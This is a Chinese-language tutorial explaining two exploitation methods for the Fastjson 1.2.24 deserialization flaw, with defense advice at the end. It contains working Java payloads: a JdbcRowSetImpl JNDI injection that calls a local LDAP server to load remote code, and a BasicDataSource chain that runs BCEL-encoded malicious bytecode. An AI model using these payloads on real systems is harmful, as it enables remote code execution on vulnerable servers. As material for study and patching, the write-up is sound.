Fastjson的两种常见利用方式
字数 1209 2025-08-10 23:41:50
Fastjson反序列化漏洞利用详解
1. Fastjson简介
Fastjson是阿里巴巴的开源JSON解析库,主要功能:
- 解析JSON格式字符串
- 支持将Java Bean序列化为JSON字符串
- 支持从JSON字符串反序列化到JavaBean
漏洞点:在对JavaBean格式类的序列化与反序列化过程中存在方法执行风险,可构造恶意执行链。
2. 环境搭建
Maven依赖配置:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
3. 两种利用方式
3.1 可出网利用方式(JNDI注入)
利用com.sun.rowset.JdbcRowSetImpl类实现JNDI注入:
import com.alibaba.fastjson.JSON;
public class DemoTest {
public static void main(String[] args) {
JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/lasthh\",\"autoCommit\":\"true\"}");
}
}
漏洞分析
-
调用流程:
- 先调用
setDataSourceName()方法设置LDAP地址 - 然后调用
setAutoCommit()方法 - 当
this.conn为null时执行connect()方法 - 最终触发
lookup()方法,实现JNDI注入
- 先调用
-
关键点:
dataSourceName设置为恶意LDAP地址autoCommit设置为任意布尔值触发connect()
限制条件
- 目标需要能够出网
- JDK版本不能太高(受JNDI注入限制)
3.2 不可出网利用方式(BCEL字节码加载)
利用org.apache.tomcat.dbcp.dbcp2.BasicDataSource类加载恶意BCEL字节码:
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.nio.file.Files;
import java.nio.file.Paths;
public class DemoTest1 {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
String code = Utility.encode(bytes, true);
JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
" + code + "\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");
}
}
漏洞分析
- BCEL字节码加载原理:
com.sun.org.apache.bcel.internal.util.ClassLoader可以加载`
\[BCEL \]
`格式的字节码
- 加载时会执行类的初始化代码块(static块)
-
BasicDataSource利用链:- 通过
driverClassName传入BCEL字节码 - 通过
driverClassLoader指定BCEL类加载器 - 最终在
createConnectionFactory()方法中触发:driverFromCCL = Class.forName(driverClassName, true, driverClassLoader); true参数表示会执行static代码块
- 通过
-
关键点:
- 需要将恶意类编译后转换为BCEL格式
- 需要Tomcat DBCP依赖
优势
- 不需要目标出网
- 适用范围更广(只要有Tomcat依赖)
4. 漏洞防御建议
- 升级Fastjson到最新安全版本
- 使用安全模式配置:
ParserConfig.getGlobalInstance().setSafeMode(true); - 对反序列化的类进行白名单限制
- 高版本JDK可限制JNDI相关操作
5. 总结对比
| 利用方式 | 依赖条件 | 出网要求 | 利用难度 | 适用范围 |
|---|---|---|---|---|
| JdbcRowSetImpl | 无特殊依赖 | 需要出网 | 简单 | 受JDK版本限制 |
| BasicDataSource | 需要Tomcat DBCP | 不需出网 | 中等 | 较广泛 |
两种方式各有适用场景,实际利用时需根据目标环境选择合适的方式。